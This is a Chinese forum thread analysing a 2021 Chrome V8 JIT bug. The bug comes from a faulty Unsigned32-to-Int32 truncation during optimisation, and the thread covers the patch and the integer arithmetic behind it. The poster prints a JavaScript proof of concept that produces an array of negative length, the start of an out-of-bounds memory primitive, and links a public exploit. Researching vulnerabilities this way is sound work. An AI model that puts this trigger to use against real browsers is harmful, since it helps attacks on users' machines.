首页
论坛
课程
招聘
[漏洞分析] [Windows] [Linux] [讨论]关于google前几天爆出的 chrome 0day 和简单poc
2021-4-15 20:23 2086

[漏洞分析] [Windows] [Linux] [讨论]关于google前几天爆出的 chrome 0day 和简单poc

2021-4-15 20:23
2086

*第一部分:

 

#
https://mp.weixin.qq.com/s/dZl_Urk8cOJ1Qbe16HBFGQ
POC地址
https://github.com/r4j0x00/exploits/tree/master/chrome-0day
最开始看到是这个漏洞是从某个公众号

点进去这个链接

看了一圈
这边的公告v8漏洞就只有个Tencent Security 报告的V8的UAF,而这边给出的POC 是:
foo(){…}
for(var i=0;i<0x3000;++i)
foo(true);
这样子的,显然这POC写的是v8的JIT的漏洞,公告上没有一个符合的。难道预示着这个v8的 UAF漏洞没有纰漏,后面还有我们值得期待的惊喜?

 

第二部分:POC和补丁


/分析结果就是补丁 在output_type.Is(Unsigned32) 判断的时候,加入了需要判断满足use_info.type_check() == TypeCheckKind::kNone 这个条件。
如果类型为Unsigned32的时候,对其再做了类型判断,再进入流程op = machine()->TruncateInt64ToInt32();
op = machine()->TruncateInt64ToInt32();这个流程根据字面上的意思是转化为Int64到Int32的opcode。
换句话来说是优化时处理Unsigned32类型(32位无符号)生成的opcode的过程出现了问题:
最后打印v8处理过程,触发函数:
这一段代码在没有优化的时候执行是这样的,如果执行优化的话:

触发以后:

猜测其运算过程(纯脑洞)
都是无符号数Int64
x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;=>推测这个过程发生了:
补码 01111111111111111111111111111111 + 10000000000000000000000000000001(这里都是处理为Int32有符号)
= 100000000000000000000000000000000/
这边可能溢出符号没正确处理或则放入Int64之中/
然后结果再加(这边-1处理为补码)1111111111111111111111111111111(x-=1,这边的还是Int32)
=101111111111111111111111111111111/
这边可能溢出符号没正确处理或则放入Int64之中/
根据结果猜测是这可能时出现了错误截断变为1111111111111111111111111111111
这边的截断把他解释为有无符号数
也就是最后是等于4294967295(1111111111111111111111111111111)这个的来由
但是再Ubuntu上的v8插入console.log()的话会发生OOM崩溃,暂时还不知道有什么办法验证验证,而且还发现自己的基础知识好像很薄弱,很迷茫。
*2021.4.16

https://www.anquanke.com/post/id/229482
尝试这里的方法,最后不知道为什么用%OptimizeFunctionOnNextCall没有触发优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const _arr = new Uint32Array([2**31]);
 
function foo() {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;
 
    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);
 
    x -= 1;
    if(x==-1) x = 0;
    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];
 
    return [arr, cor];
}
for(i=0;i<0x4000;i++)
{
      foo();
}
var x=foo();
var arr1=x[0];
if(arr1.length==-1)
{
    %SystemBreak();
 
}
var x = foo();

最后只能用这种丑陋的方法,从外面插进去,总算可以看看优化后发生什么事了。
2021/5/21 尴尬的发现补丁和漏洞不是同一个


[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班火热招生!!

最后于 3天前 被苏啊树编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 473
活跃值: 活跃值 (641)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
库尔 活跃值 2021-4-16 10:02
2
0

gdb调试呀兄die,错误的payload也就是崩溃那开始堆栈调试,看看情况哪个地方写错了

最后于 2021-4-16 10:05 被库尔编辑 ,原因:
雪    币: 1710
活跃值: 活跃值 (706)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 1 2021-4-16 10:17
3
0
库尔 gdb调试呀兄die,错误的payload也就是崩溃那开始堆栈调试,看看情况哪个地方写错了

这异常GDB的堆栈只是告诉你OOB崩溃后的处理,跟漏洞没什么关系的,我试一下用v8自带的优化函数写POC,应该能解决问题

最后于 2021-4-16 10:20 被苏啊树编辑 ,原因:
雪    币: 473
活跃值: 活跃值 (641)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
库尔 活跃值 2021-4-16 10:38
4
0
苏啊树 库尔 gdb调试呀兄die,错误的payload也就是崩溃那开始堆栈调试,看看情况哪个地方写错了 这异常GDB的堆栈只是告诉你OOB崩溃后的处理 ...
不用gdb+ida分析得透透的,那咋行
雪    币: 1710
活跃值: 活跃值 (706)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 1 2021-4-16 11:17
5
0
目前还是关注漏洞本身
游客
登录 | 注册 方可回帖
返回